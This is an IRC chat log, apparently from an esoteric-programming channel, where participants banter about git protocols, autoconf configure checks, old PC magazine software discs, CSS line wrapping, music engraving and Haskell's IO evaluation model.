11:08:21 <oerjan> CRITICAL:: FATAL mismatched parentheses
11:08:28 <shachaf> When I'm cloning something from GitHub, is there a reason to prefer https:// or git://
11:08:34 <shachaf> I'm not quite sure what git: is, really.
11:08:51 <Jafet> Self-aggrandization?
11:08:58 <shachaf> Apparently git: has its own protocol.
11:09:02 <elliott> shachaf: Just use the default one it presents you.
11:09:33 -!- azaq23 has quit (Read error: Connection reset by peer).
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11:10:49 <elliott> I am... in possession of headache.
11:12:23 <shachaf> kmc: Hey, you're in the mosh THANKS file.
11:12:27 <shachaf> Right after Richard Stallman.
11:12:58 * shachaf wonders whether kmc and nelhage are secretly the same person.
11:13:03 -!- MoALTz_ has quit (Quit: brb).
11:13:09 <oerjan> i think there's something weird about being next to richard stallman, but i cannot quite put my toe on it
11:13:25 -!- asiekierka has joined.
11:13:29 <elliott> Phantom_Hoover: headache am uncountable noun
11:13:40 -!- MoALTz has joined.
11:13:57 <elliott> #freenode is an interesting place.
11:14:10 <elliott> That's not an invitation to join.
11:14:49 <kmc> shachaf, why would we be the same person?
11:15:32 <shachaf> I was thinking of something along the lines of "have they ever been seen together", but in this case I guess you're always seen together.
11:15:33 <fizzie> QLayout: Attempting to add QLayout "" to QFrame "", which already has a layout
11:16:46 <shachaf> Wait, ./configure builds and compiles a separate C program for uint16_t and uint32_t and ... and ...?
11:16:54 <kmc> yes, that's how configure works
11:16:56 <shachaf> Why can't it do a binary search?
11:17:14 <elliott> kmc: I found another bug in mosh!
11:17:16 <shachaf> I mean, I'm not surprised that it does that, given that the lines are separate and come after the other.
11:17:46 <Jafet> shachaf: you're assuming that all systems, if they have uint8_t and uint32_t, have uint16_t
11:18:15 <kmc> elliott, you're so helpful
11:18:16 <Jafet> If systems were like that, we wouldn't need configure scripts
11:18:17 <shachaf> Jafet: No, I'm assuming that you can test all of those at once, and then check them individually if one of them fails.
11:18:24 <elliott> kmc: Let me know when they're fixed.
11:18:38 <kmc> http://mailman.mit.edu/mailman/listinfo/mosh-devel
11:18:39 <elliott> Jafet: Some would say we don't.
11:19:14 <elliott> kmc: Post troll messages to MIT mailing lists?! I'D BE LUCKY TO SURVIVE
11:19:51 <kmc> RMS regularly trolls the MIT CS department list
11:19:57 <Jafet> Is it failure? I wonder how many programs even care what named unsigned word sizes are available
11:20:09 <elliott> kmc: Yes, but he's immortal.
11:20:47 <elliott> Are archives of that list publicly available? I mean, watching rms embarrass himself is always fun.
11:20:53 <kmc> don't know
11:21:01 <shachaf> Jafet: The point is that if it needs the information and all four of those are available with overwhelming probability, can't it just do one check?
11:21:39 <elliott> shachaf: Being reasonable is not an autoconf design goal.
11:21:46 <shachaf> Maybe I should implement that and submit a patch to autoconf.
11:21:55 <shachaf> Think of how much time would be saved waiting on ./configure scripts.
11:22:02 <Jafet> Yes. Then again, you're assuming optimizing tendencies of people who write programs that write shell scripts.
11:22:10 <kmc> http://www.art.net/~hopkins/Don/text/rms-vs-doctor.html
11:22:17 <elliott> shachaf: Hey, for Cygwin users that might actually help.
11:22:22 <elliott> ./configure usually takes 30s there.
11:22:29 <shachaf> elliott: It takes too long everywhere.
11:22:33 <elliott> kmc: Seen & read & tshirt-bought.
11:22:54 <elliott> "Following your example, I might send the list an announcement whenever a new GNU program is written. That happens less often than babies are born, it does the world a lot more good, it reflects more conscious creativity and hard work, and some of the readers might actually find the information useful."
11:23:04 <elliott> I wonder if rms has ever felt like an ass.
11:23:05 <kmc> "Hundreds of thousands of babies are born every day. While the whole phenomenon is menacing, one of them by itself is not newsworthy."
11:23:09 <kmc> i think i would buy that on a tshirt
11:23:43 <elliott> No, thanks. I don't want to have children. -RMS
11:23:57 <elliott> I must avoid reading the original messages behind these summaries.
11:24:14 <kmc> i mean, he's not wrong that babies are overrated
11:25:10 <elliott> So's TV; that doesn't make Area Man any less annoying.
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11:30:55 <fizzie> This thing keeps complaining to me.
11:30:59 <fizzie> "Application asked to unregister timer 0x72000001 which is not registered in this thread. Fix application."
11:32:03 <nortti> http://www.bbspot.com/News/2003/01/os_quiz.php
11:35:31 <nortti> "You are Apple Dos. Simple and primitive with a good understanding of the common man. You're still a work in progress, but a good start."
11:38:00 <fizzie> Maybe I should retry to see if it has changed.
11:38:15 <fizzie> Incidentally, mooz was Windows 95 then. :p
11:38:43 <fizzie> And there were two other TRSDOSes on the channel where it was discussed.
11:39:12 <nortti> Because I am not completely sure about some questions I also sometimes get OS/2
11:39:19 <elliott> Well, Windows 95 is the perfect operating system, you know.
11:41:17 <elliott> http://www.bbspot.com/Images/News_Features/2003/01/os_quiz/windows_95.jpg
11:41:56 <fizzie> elliott: Incidentally, the very next comment from him after "arg, I'm windows 95" was about Slaves to Armok.
11:42:20 <fizzie> <@mooz> most people would implement the turning of gargoyles into stone in daylight by adding a condition
11:42:23 <fizzie> <@mooz> in armok one makes the gargoyle skin material react with sunlight
11:42:43 <elliott> fizzie: Oh, I didn't interpret that as quiz talk at all.
11:42:56 <elliott> I thought you meant you acquired (and presumably started using) TRSDOS in 2003.
11:43:04 <elliott> And two other people in the channel used TRDOS too.
11:43:14 <elliott> In retrospect, that's... not the most likely thing.
11:44:11 <oerjan> land of snow, knife fights and killer robots
11:44:18 <elliott> <shachaf> PathFinder's ping style is awesome.
11:45:19 <olsner> so apparently I'm windows 95
11:45:20 <nortti> elliott: I have used Amiga Workbench 1.3 as my main os in 2009 and I propably could use Apple DOS as my main os.
11:45:25 <shachaf> <elliott> If you want, you can /join #haskell
11:45:38 <fizzie> Oh, today I'm Apple DOS 3.1.
11:46:17 <nortti> elliott: What about DOS in 2010?
11:47:00 <Jafet> If Amiga is hardcore, DOS is dubstep.
11:47:22 <shachaf> ... ./configure "checking whether build environment is sane" takes such a long time because it has a "sleep 1" in it.
11:47:37 <elliott> shachaf: No, it's just a really intense sanity test.
11:48:24 <oerjan> if it doesn't drive you crazy, you're definitely sane
11:48:57 <nortti> I got Windows 95 when I answered the least likely choice for me.
11:50:53 <elliott> Did you know I once used Windows 95 as my only OS for ~a WHOLE WEEK?
11:51:34 <elliott> shachaf: Did you read about cmccann's iteratee-thing?
11:51:35 <shachaf> Did you know I once used Windows 95 as my only OS for ~a WHOLE LONG TIME?
11:51:42 <shachaf> And I was so excited about Windows 98.
11:51:50 <shachaf> Do you know what exciting features Windows 98 had?
11:51:56 <elliott> Windows 98 was like Windows 95 except terrible.
11:52:10 <nortti> elliott: I used Windows 95 as my only os for a year. After that I started using MS-DOS with DOSSHELL
11:52:20 <shachaf> elliott: Windows 98 had the exciting Quick Launch bar!
11:52:57 <elliott> The only good thing about DOS is BASIC.
11:53:03 <shachaf> elliott: Windows 98 Hebrew Edition also reversed a bunch of things, so that the Close Restore Minimize buttons were on the left side and the Start Menu was on the right side.
11:54:08 <elliott> http://he.wikipedia.org/wiki/%D7%A2%D7%9E%D7%95%D7%93_%D7%A8%D7%90%D7%A9%D7%99
11:54:12 <itidus21> i got qbasic 1.0 including nibbles.bas and gorilla.bas with dos (like everyone, i know)
11:54:14 <nortti> elliott: It is also fucking fast on hardware where Win95 crawls
11:54:20 <elliott> RTL languages are terrifying.
11:54:55 <itidus21> i found the code of nibbles and gorilla to be too difficult to understand though
11:55:02 <elliott> shachaf: didn't answer my question. :(
11:55:23 <shachaf> elliott: What question -- oh.
11:55:30 <shachaf> I don't read about iteratees.
11:55:31 <nortti> I got QBASIC 1.1 with DOS and installed Borland C++ 3.1 afterwards
11:55:35 <elliott> shachaf: They're not iteratees, though!
11:55:39 <elliott> shachaf: It's just linear logic.
11:55:48 <elliott> Except variables represent streams.
11:56:02 <elliott> And negation turns outputs into inputs.
11:56:12 <itidus21> i eventually got given turbo pascal 6
11:56:42 <elliott> e.g. Stream (In a `Join` Out b) is a length-preserving (== always outputs one after reading one) transformation from streams of as to streams of bs.
11:56:47 <nortti> itidus21: is turbo pascal really as fast as they say
11:56:50 <itidus21> i started trying to do stuff with egavga.bgi graphics library but it was so unbearably slow the way i was using it
11:56:54 <elliott> But Stream (In a `Or` Out b) can read and write according to its own whims.
11:57:08 <elliott> (Stream (In a `Or` Out b `Or` Run m) is Pipe, supposedly.)
11:57:19 <elliott> Also you can zip them and things???
11:57:32 <itidus21> nortti: i wouldn't know. i'm just here in #esoteric as a tourist from newbie island
11:57:32 <fizzie> I got Borland C++ 4.52 on one of them CDs they used to tape onto the covers of PC magazines.
11:58:27 <itidus21> fizzie: oh yeah.. i got something like that too once was excited too.. but somehow disc got lost or something.
11:58:40 <nortti> I actually learned programming by reading trough my father's old programs written in C when I was 8.
11:59:09 <elliott> I learned programming when I was 8 too
11:59:50 <nortti> elliott: I lerned it in 2005
11:59:50 <itidus21> i had a train wreck of a time learning to program.. many would say i never learned :D
11:59:51 <fizzie> Actually, I wonder if I still have that disc. I seem to have "PC Plus SuperCD no. 43b" with full PartitionMagic 2.0 on it. It's worth £80!
12:00:05 <elliott> nortti: Oh. Not another person younger than me.
12:00:11 <elliott> There's too many of you now; I feel old.
12:00:23 <elliott> I was here when I was 11, you whipper-snappers!
12:00:39 <itidus21> fizzie: why is it worth so much?
12:00:55 <oerjan> elliott: don't worry, you can borrow my cane
12:01:10 <fizzie> Ooh, truespace. "The legendary 3D package complete and unrestricted. As sold for £550."
12:01:18 <fizzie> (This is the July 1998 SuperCD.)
12:01:48 <shachaf> elliott: I LEARNED PROGRAMMING in Q4 2011
12:01:56 <shachaf> Actually I still don't know programming.
12:02:00 <fizzie> "The brand new SuperCede for Java Standard Edition is the fast way to create your own powerful JDK 1.1 applications for the Web. Worth £99 (provisional price)"
12:02:11 <fizzie> Man, I've got like £thousands worth of stuff here.
12:02:31 <shachaf> What's a £ worth these days?
12:02:54 <itidus21> fizzie: i recall some article talking about treasure chests in java games
12:03:13 <fizzie> Hey, I've got both trueSpace 1.0 on this SuperCD and trueSpace 3/SE on another.
12:03:42 <itidus21> i cant quite recall if that was the same magazine i got some kind of c++ with.. also some article about expert systems comes to mind
12:03:54 <elliott> fizzie: Can I have your seedies?
12:04:10 <fizzie> I can't find the Borland. :/ It was probably not in a jewel case so it's in some big pile of those.
12:04:12 <itidus21> maybe i was in hospital or something at the time so they got me magazines
12:04:20 <shachaf> <elliott> The best way to learn Haskell is to read http://learnyouahaskell.com/
12:05:12 <olsner> hmm, so system32 has 64-bit binaries and syswow64 has 32-bit ones
12:05:24 <fizzie> elliott: "Home Page: This is the complete commercial HTML editor from Claris. It will enable you to create your own WWW site pages without ever needing to know a single HTML tag."
12:05:58 <fizzie> Someone's also bundled an IE4 beta for Windows 3.1 on this.
12:06:07 <itidus21> this old mag claims the cd contained: webgenie shopping cart professional 2.09a valued at 750AUD
12:06:30 <fizzie> One of those things had a £345 "personnel management" software.
12:06:53 <fizzie> A 30-day trial of "Klik and Create"! Great stuff.
12:06:59 <shachaf> olsner: What would you expect?
12:07:21 <itidus21> oh i see.. i had pc plus may 98
12:07:44 <fizzie> Hey, I have PC Plus July 98 here.
12:07:46 <itidus21> but the mag is here in bad nick :D
12:08:32 <elliott> I got a computer. I think I watched some tennis.
12:08:39 <elliott> I remember very little of my early life.
12:09:06 <fizzie> Jan 98, Oct 97 SuperCDs are also here. But not May 98. Wonder where that's went.
12:09:10 <itidus21> c++ builder as sold for 80 pounds >.<
12:09:27 <itidus21> curse them and their cheap compilers
12:09:57 <fizzie> CD-ROM Today, December 1995: "[8] Endorfun (Win): Subliminal messages? See what all the fuss is about."
12:10:08 <fizzie> There was even an article in one of the Finnish magazines.
12:10:13 <itidus21> thats probably why this cd got taken.. cos it had dance ejay on it
12:10:34 <fizzie> http://en.wikipedia.org/wiki/Endorfun -- Wikipedia remembers it too, but not the "controversy", really.
12:10:37 <oerjan> elliott: imagine if you had gone with the tennis instead of the computers
12:10:48 <fizzie> They were all "computer DRUGS oh no" about it.
12:10:59 <fizzie> It wasn't exactly fun to play, I think.
12:11:59 <fizzie> And there's "Klik & Play", the precursor of "Klik & Create", I think.
12:13:32 <oerjan> in this world, elliott does computers, and the world gets destroyed by his evil AI. in that other world, elliott does tennis, and the defenseless world is destroyed by invading aliens.
12:13:44 <oerjan> or maybe he beats them with a megaracket.
12:14:19 <elliott> That reminds me of that comic.
12:15:57 <fizzie> olsner: Oh, I ended up doing what you suggested, an in-browser gcolor that just doesn't bother about sharing the results. But it uses Flickr for images, so the results are also worse; Flickr isn't so good about ranking by relevance. Anyway, http://zem.fi/misc_fcolor.html -- hasn't been tested much.
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12:16:26 <Taneb> > iterate (\x -> 1 + (1 / x)) == (sqrt 5 + 1) / 2
12:16:27 <lambdabot> No instance for (GHC.Float.Floating [a])
12:16:27 <lambdabot> arising from a use of `GHC.Floa...
12:16:29 <oerjan> i think i have read very little superhero comics since the 80s
12:16:35 <Taneb> > iterate (\x -> 1 + (1 / x)) ! 38== (sqrt 5 + 1) / 2
12:16:35 <lambdabot> Couldn't match expected type `GHC.Arr.Array i e'
12:16:40 <Taneb> > iterate (\x -> 1 + (1 / x)) !! 38== (sqrt 5 + 1) / 2
12:16:41 <lambdabot> Couldn't match expected type `[a]'
12:16:41 <lambdabot> against inferred type `a1 -> [a1]'
12:16:41 <oerjan> if that's the genre involved
12:16:45 <Taneb> > iterate (\x -> 1 + (1 / x)) 1 !! 38== (sqrt 5 + 1) / 2
12:17:02 <Taneb> I've just understood infinite fractionny things
12:17:26 <elliott> fizzie: I still demand a web interface to the real thing.
12:17:47 <elliott> The animation is nice though.
12:17:54 <elliott> Except I searched for "poop" so I can't watch it.
12:18:05 <elliott> oerjan: This one: http://www.kiwisbybeat.com/minus37.html
12:18:11 <fizzie> I'll put a CGIfication of actual gcolor on the to-do list.
12:18:46 <itidus21> WE CANNOT DO A THING! PROBABLY!
12:18:46 <elliott> fizzie: CGI? You are so "old schoole".
12:18:53 <elliott> fizzie: Make sure it has ALL THE FEATURES I demanded!
12:19:45 <oerjan> elliott: oh right, i remember it was linked from SROMG
12:20:13 <oerjan> (it was part of the "sounds like minus" meme)
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12:20:14 <olsner> after about 1/4th of the images analyzed, the color of fizzie is apparently #916756 (brown)
12:21:14 <elliott> fizzie: Can you make it make a bleep noise when it's done so I know when it's safe to observe the poop?
12:21:22 <oerjan> > fix (\x -> 1 + (1/x)) :: CReal
12:22:15 <oerjan> i guess you need some range restriction for convergence
12:23:31 <oerjan> > fix (\x -> abs $ 1 + (1/x)) :: CReal
12:23:48 <oerjan> i'm sure _that_ could have worked in theory.
12:26:16 <elliott> the better CReal library :P
12:27:07 <oerjan> "Currently the show throws an error."
12:27:52 <elliott> oerjan: it has a function to show to # digits...
12:29:37 <fizzie> elliott: It'll leave the last poop image on the analysis display, though.
12:30:37 <elliott> fizzie: Thankfully it was a smiley poop. (Why don't you have a link trail?)
12:31:45 <elliott> #906b4d is a very poop colour.
12:32:09 <fizzie> 'poop' is a good search, since most of the "returns all kinds of images" searches end up brown.
12:34:23 <elliott> Phantom_Hoover: http://math-classes.org/
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13:03:02 <elliott> fizzie: DYK the colour of zem is #805548?
13:06:34 <itidus21> formal diagrams get pretty ugly pretty fast
13:08:15 <itidus21> maybe this is the primary indicator i cannot understand a diagram
13:17:06 <itidus21> one area i especially struggle in computation models is having an intuitive sense of what is reasonable and unreasonable uses.
13:17:43 <itidus21> like the "rain man" is unreasonable at counting.
13:18:58 <itidus21> and i know that many things are unreasonable to do with a turing tarpit. but at the same time haskell isn't a turing tarpit
13:19:25 <itidus21> even lisp isn't from what i can infer
13:20:41 <itidus21> because the thought of sitting down to actually study really really offends me
13:21:49 <itidus21> i need to use some form of casual self therapy to become a student
13:24:43 <itidus21> a few weeks ago i read the first 30 pages of war and peace (in english of course).. i'd once read the first 12 before
13:25:42 <itidus21> by the end of it i was just feeling tense
13:26:47 <itidus21> but i don't think it is anything to do with the book itself
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13:28:56 <itidus21> one option on the table is to watch video lectures :-D
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13:29:39 <itidus21> i have a link someone posted somewhere which led me to some but havent tried em yet
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14:01:28 <elliott> fizzie: http://www.youtube.com/watch?v=QaPm_SFJnpY
14:01:33 <elliott> fizzie: Please explain yourselves, Finland.
14:05:02 <fizzie> There was some sort of an issue about Hevisaurus, something related to the record label company, I think they lost their case quasi-recently.
14:05:22 <fizzie> "In early 2011, the founder of the band, Mirka Rantanen, got into a disagreement with the band's record label Sony Music. Because of this, Rantanen and three other band members belonging to the band's live assembly founded a new band called Sauruxet, which has continued making children's power metal music with the original concept and nearly identical artist names. The band Hevisaurus keeps ...
14:05:28 <fizzie> ... its lead singer, its producers and the original stage costumes."
14:05:34 <fizzie> Something about the newer band not being able to use the old characters.
14:05:52 <fizzie> Anyway I'm not sure what's there to explain.
14:06:03 <elliott> It's not a real metal story until someone gets killed.
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14:06:33 <elliott> Also, the thing to explain would be why your children's bands are metal-playing dinosaurs.
14:06:49 <fizzie> Dinosaurs are heavy, aren't they?
14:07:21 <fizzie> "The usual heavy metal fan may not be a five-year-old girl in pigtails, but she is typical of hardcore following of Hevisaurus, a metal band that has hooked the kiddie crowd in Finland.
14:07:25 <fizzie> The group, which rocks on about homework and monsters, played its first gig, a charity event, only last September but its fan base of mainly five-to-seven-year-olds has grown rapidly."
14:08:26 <elliott> It all started a few years ago when Rantanen attended a children's concert with his own kids, now five and 11.
14:08:26 <elliott> "What if I started making music for kids?" he thought. "What if it was heavy metal, since that's what I've been doing for 25 years?"
14:08:34 <elliott> I see not much thought went into this thing.
14:10:01 <fizzie> "“I’m a kind of 1980s relic. You could call me a dinosaur,” said Rantanen, now better known as an Apatosaurus called Komppi Momppi."
14:10:41 <fizzie> "“It’s the best because it’s heavy,” said five-year-old Rico, who attended a packed concert in the southern city of Haemeenlinna wearing a Hevisaurus sweater and hat, and waving a Hevisaurus flag made by his dad."
14:10:47 <fizzie> Well, I think that makes sense.
14:11:39 <elliott> I admit, the logic is impeccable.
14:14:59 <tswett> Before reading the context, I thought the quote about Rantanen was a joke.
14:15:17 <tswett> Like, he says, "Oh, I'm really old, you could call me a dinosaur," and so suddenly everyone does.
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14:44:45 <elliott> fizzie: Hey, what should I name a CSS class meaning "all <pre> children of this won't have the ugly border"?
14:45:45 <fizzie> class="allprechildrenofthiswonthavetheuglyborder"
14:46:15 <fizzie> That's the audio thing.
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14:50:54 <Taneb> @pl \xs f -> concatMap (\(a,b) -> map (\(x,y) -> (a*x,y)) (f b)) xs
14:50:54 <lambdabot> (. ((`ap` snd) . (. fst) . flip ((.) . map . (`ap` snd) . (. fst) . ((,) .) . (*)))) . (>>=)
14:51:29 <Deewiant> @pl \xs f -> concatMap (\(a,b) -> map (first (a*)) (f b)) xs
14:51:29 <lambdabot> (. ((`ap` snd) . (. fst) . flip ((.) . map . first . (*)))) . (>>=)
14:51:45 <Deewiant> @pl \xs f -> concatMap (uncurry $ \a b -> map (first (a*)) (f b)) xs
14:51:45 <lambdabot> (. (uncurry . flip ((.) . map . first . (*)))) . (>>=)
14:52:15 <Deewiant> @pl flip $ \f -> concatMap (uncurry $ \a -> map (first (a*)) . f)
14:52:16 <lambdabot> (. (uncurry . flip ((.) . map . first . (*)))) . (>>=)
14:52:40 <Deewiant> @pl concatMap (uncurry $ \a -> map (first (a*)) . f)
14:52:40 <lambdabot> (uncurry ((. f) . map . first . (*)) =<<)
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14:54:27 <lambdabot> Data.Monoid First :: Maybe a -> First a
14:54:28 <lambdabot> Control.Arrow first :: Arrow a => a b c -> a (b, d) (c, d)
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14:59:15 <elliott> Deewiant: You're a CSS line-wrapping wizard, right?
15:00:12 <elliott> Deewiant: Which Finn is an expert in that?
15:02:23 <elliott> Deewiant: All I want is visible indicators of wrapping. :(
15:03:38 <Deewiant> http://blog.iany.me/2012/02/css-line-wrap-indicator/
15:03:59 <elliott> Deewiant: OH WELL AREN'T YOU FANCY.
15:04:16 <elliott> Deewiant: "First, the code block in pre must be split by lines and add markup so that CSS can be applied."
15:04:26 <elliott> Yeah, of course it's trivial if you do that.
15:04:36 <Deewiant> In other words, you can't do it.
15:04:40 <elliott> MediaWiki doesn't give me that choice.
15:04:54 <elliott> Deewiant: Eh? A proof of a weaker statement doesn't mean the stronger statement is false.
15:05:01 <elliott> It just means the blog author wasn't smart enough to come up with one.
15:05:31 <Deewiant> When my hunch and the first google result match, it's true.
15:06:23 <elliott> Deewiant: How does that result match with a disproof?
15:06:31 <elliott> "must" is in the context of describing one particular technique.
15:06:34 <elliott> Yes, it must be done for that code to work.
15:08:07 <elliott> http://www.w3.org/TR/selectors/#selection
15:11:36 <elliott> I wonder if "p :not(:first-line) :first-line" will work.
15:13:25 <elliott> Sigh, nope, because it's a "pseudo-element"
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15:14:18 <elliott> Deewiant: What did you google for, FWIW?
15:15:13 <Deewiant> https://encrypted.google.com/search?q=css%20line%20wrapping%20indicator
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16:14:26 <coppro> anyone here familiar with engraving music?
16:16:17 <coppro> I have a triplet where the first two notes are tied. Should I engrave this as a quarter note and an eigth note under the triplet, or two tied eighths and a third eighth under the same bar?
16:16:36 <elliott> Five hams and a quart of rum.
16:16:46 <coppro> RocketJSquirrel: You can answer!
16:16:52 <elliott> Doesn't LilyPond have an answer?
16:17:21 <coppro> but it just engraves what I tell it to
16:17:22 <RocketJSquirrel> coppro: Quarter and eighth under the triplet. Tying is gross unless absolutely necessary. You can always put a bar under the '3' if it's unclear.
16:17:34 <coppro> RocketJSquirrel: Thanks
16:17:45 <elliott> I still think you should go with four hams and a quart of rum.
16:17:53 <elliott> You can add a footnote to clarify your meaning.
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16:18:33 <coppro> RocketJSquirrel: Just since I feel like asking: do you consider tying across a bar to be a necessity versus putting a note whose duration is longer than the rest of the measure?
16:19:12 * coppro stabs everyone who thinks otherwise
16:19:15 <RocketJSquirrel> In the list of horrible sins, notes implicitly going over barlines is worse than ties X-D
16:21:03 <coppro> or four bars of one, anyway
16:21:47 <coppro> featuring an infinite sequence of notes, each with duration 2/3rds of a beat less than the previous
16:21:57 <coppro> aww, elliott discovered hormones
16:24:19 <elliott> coppro: It's not my fault "melody" has like NO words that sound vaguely like it.
16:24:27 <elliott> Anyway, more like I just discovered MORMONS.
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17:10:08 <elliott> kmc: You know how you asked if #haskell got better in your absence?
17:10:39 <elliott> kmc: It didn't, it got worse.
17:11:01 <Sgeo> Someone asks how to get a UTCTime out of an IO UTCTime, someone suggests unsafePerformIO
17:13:05 -!- Taneb has joined.
17:13:58 <Taneb> I've got the start of a new esolang formulating
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17:14:47 <Taneb> By which I mean I've got all the commands in some sort of format that only makes sense to me
17:15:24 <mroman> Then document it in a way others can unterstand?
17:15:28 <Taneb> Now I just need to decide whether the memory word should be 4-bit or 8-bit
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17:16:23 <Taneb> By which I mean SOON
17:16:35 <Taneb> I think it's Turing-complete
17:17:33 <Taneb> Hang on, I don't need all these commands
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17:19:33 <elliott> mroman: Taneb is always like that.
17:19:45 -!- asiekierka has joined.
17:19:48 <elliott> We have an adequate supply of crack to help you keep pace.
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17:22:45 <Sgeo> I'm on a Common Lisp kick, how do I get my mind in Haskell mode.
17:22:55 <Sgeo> Although what I really want is utterly demented Haskell mode.
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17:24:03 <elliott> Sgeo: Common Lisp sucks. Haskell doesn't suck as much.
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17:27:07 <Sgeo> "Haskell is a strict, imperative, strongly-typed language."
17:27:36 * Sgeo fixes strict with "eager"
17:27:51 <mroman> Haskell is no way eager.
17:28:00 <Sgeo> Bet I can fake it
17:28:04 <fizzie> Haskell is the laziest guy I know. Seriously, such a drain-on-societys-resources.
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17:29:44 <Sgeo> Also, I'm wondering if I should replace "strongly-typed" with ... well, dynamically typed is still not necessarily weakly typed.
17:29:47 <elliott> List of ways Common Lisp sucks: (1) Terrible standardisation (basic facilities such as threading and networking are unportable and have to be abstracted behind numerous APIs); (2) Packaging situation might even be worse than Haskell's; (3) Baroque warts of complexity lying around (yes, Haskell has them, but far fewer); (4) Namespace upon namespace without any orthographic distinction (like Haskell's initial capitals) making a huge mess out of thi
17:29:47 <elliott> ngs (e.g. if you name a variable "list"); (5) Sub-par static checking
17:30:09 <elliott> (7) Fairly stagnant community, esp. as far as new general-purpose libraries goes, esp. "outside-world" interfacings tuff
17:30:30 <elliott> (8) All the usual language flaws of impurity, wimpy type system, etc.
17:30:37 <elliott> (9) More I've surely forgotten.
17:31:37 <elliott> Oh yeah, (10) Unsafe/difficult-to-use/error-prone/ugly macro system
17:32:10 <mroman> Although Haskell has Template Haskell.
17:32:14 <elliott> (11) LOOP and FORMAT, 'nuff said.
17:32:23 <mroman> Which is kinda not-understandable at all.
17:32:31 <elliott> Template Haskell isn't all that difficult.
17:33:04 <Sgeo> Anyways, I'm just doing Haskell stuff until a certain date
17:33:12 <elliott> What happens after that date?
17:33:17 <Sgeo> I'm still preferring Common Lisp, but this project only makes sense in Haskell.
17:33:23 <elliott> fizzie: You forgot a mapostrophe.
17:33:30 <Sgeo> elliott, the deadline for this project to make any sense passes.
17:33:34 <Sgeo> At least for a year.
17:33:38 <elliott> Sgeo: You forgot the part where Common Lisp is inferior to Haskell in basically every conceivable way.
17:33:40 <mroman> And I might not understand the type magic behind it ;)
17:33:51 <mroman> As I know nothing about type theory.
17:34:14 <elliott> mroman: Template Haskell has exactly 0 type magic.
17:34:22 <elliott> It practically has negative amounts of type theory.
17:34:25 <elliott> It doesn't even type its splices.
17:34:53 <Sgeo> Crud, if I suggest NoImplicitPrelude, I'm going to need to export a lot of stuff from the Prelude
17:34:58 <Sgeo> Like ($) and (+)
17:35:11 <elliott> Dare I ask what this project is?
17:35:42 <Sgeo> An April Fools Haskell tutorial
17:35:57 <elliott> See, I knew I would regret asking.
17:39:13 <Sgeo> Hmm. Variables, variables, variables. How to do variables.
17:39:41 <Sgeo> Does every non-referentially-transparent function need NOINLINE?
17:39:57 <Sgeo> I'm guessing so. Can I have an entire file be assumed to have NOINLINE everywhere?
17:40:22 <elliott> I don't see why it would need NOINLINE. Or conversely, what the hell you think NOINLINE will prevent.
17:41:02 <Sgeo> The IO being executed too early?
17:41:57 <Sgeo> If I have a unsafeCurrentTime :: UTCTIme, does that need to be noinlined if I want every place that it's used to see the current time and not the time that it was when ... bluh
17:42:54 <elliott> Sgeo: You can't do that, fulls top.
17:43:11 <elliott> It will be evaluated once and replaced by its value.
17:44:35 * Sgeo looks for an option to disable that
17:44:45 <elliott> That's how GHC works, fundamentally.
17:44:50 <elliott> That's how the entire evaluation model works.
17:44:51 <mroman> Shouldn't IO prevent that?
17:45:13 <Sgeo> mroman, my entire goal is to be stupid in Haskell.
17:45:29 <mroman> although the question would be
17:45:44 <mroman> why :: UTCTime behaves differently than :: IO UTCTime
17:46:44 <Sgeo> I don't want to use the IO monad, that's cheating.
17:47:14 <elliott> mroman: Because IO a is State# RealWorld -> (# a, State# RealWorld #).
17:47:56 <mroman> That makes sense then.
17:48:53 <mroman> foobar :: Int -> IO Int
17:49:09 <mroman> actually foobar MUST yield the same result everytime, when called with the same argument.
17:49:32 <elliott> The (->) in that IO definition is the arrow of impure functions.
17:49:36 <elliott> And State# isn't really anything at all.
17:49:42 <elliott> It's all a big con to fool the compiler internals.
17:50:57 <elliott> It means what it means: the (->) being used in that definition of IO allows impure side-effects.
17:52:26 <mroman> But IO is just a Type?
17:53:37 <mroman> And I call it twice with the same argument
17:53:37 <elliott> This is all about black magic implementation details. As far as Haskell is concerned, IO has no definition.
17:53:45 <elliott> GHC breaks the rules to define IO.
17:53:54 <mroman> It should only be evaluated once.
17:54:03 <elliott> No Haskell compiler does automatic memoisation.
17:54:06 <elliott> That's a one-way ticket to space leaks.
17:54:19 <elliott> (And slowness, for that matter.)
17:54:42 <mroman> do { a <- foobar 1; b <- foobar 1; return (a,b); }
17:54:50 <mroman> => do { a <- foobar 1; return (a,a); }
17:55:02 <elliott> That's complete and utter nonsense.
17:55:15 <elliott> do { a <- print 1; b <- print 1; return (a, b) }
17:55:20 <elliott> => do { a <- print 1; return (a, a) }
17:55:57 <elliott> print 1 >> print 1 >> return (a,b)
17:56:10 <mroman> Referential transparency should allow that to happen?
17:56:20 <elliott> any more than 1+1 must equal 1
17:56:26 <elliott> x >> x does not necessarily equal x
17:58:21 <mroman> But why should it bother to evaluate x twice?
17:58:32 <mroman> You already know the result of x based on the result of the first.
17:59:03 <elliott> You are mistaking monadic execution with evaluation.
17:59:29 <elliott> Why would it evaluate [1,2,3] twice? Well, whether it does or it doesn't, it's irrelevant.
17:59:38 <elliott> (>>) is just a function like any other, and it gets passed through the same.
18:00:27 <Sgeo> mroman, print 1 can be evaluated as many times as you like. When evaulated, it doesn't print anything. It just becomes a value saying "When I'm executed, print 1"
18:03:17 <elliott> Not best, it's slightly inaccurate.
18:04:12 <elliott> It doesn't "become" a value.
18:04:47 <elliott> You can say it evaluates to an action saying "On execution, print 1", but that seems unnecessarily operational to me.
18:04:55 <elliott> "It is an action saying 'On execution, print 1'" conveys the exact same.
18:05:48 <Sgeo> elliott, except that that fails to mention the role that evaluation plays, in terms of not being execution
18:06:22 <elliott> Well, the role that evaluation plays is precisely nothing.
18:06:33 <Sgeo> elliott, yes, and that needs to be clarified.
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18:36:16 <Taneb> That reminds me, I need to update my esolangs page.
18:36:48 <elliott> i am disappoitned in you >:(
18:37:01 <Taneb> What have I done now?
18:37:18 <elliott> you're the second person in a few days to add their own language to a concept's list of languages :P
18:37:46 <Taneb> I did acknowledge my narcissism
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18:42:16 <Taneb> And it is appropriate to the article
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18:44:45 <Phantom_Hoover> I saw the topic, and for a minute I thought it was September,
18:45:32 <Sgeo> elliott, I can play Worms again
18:46:20 <Sgeo> I have my (legal) ISO, if that's any help
18:47:31 <elliott> I don't think it's an ISO problem, unfortunately. But I might try tomorrow, if you can think of a reasonable method of transfer.
18:50:37 <Sgeo> Having a hard time thinking of a reasonable method of transfer, unfortunately
18:51:51 <elliott> Sgeo: There's mediedmiedimdimedieidififafiafiafyre.
18:57:25 <Sgeo> I need a mousepad :/
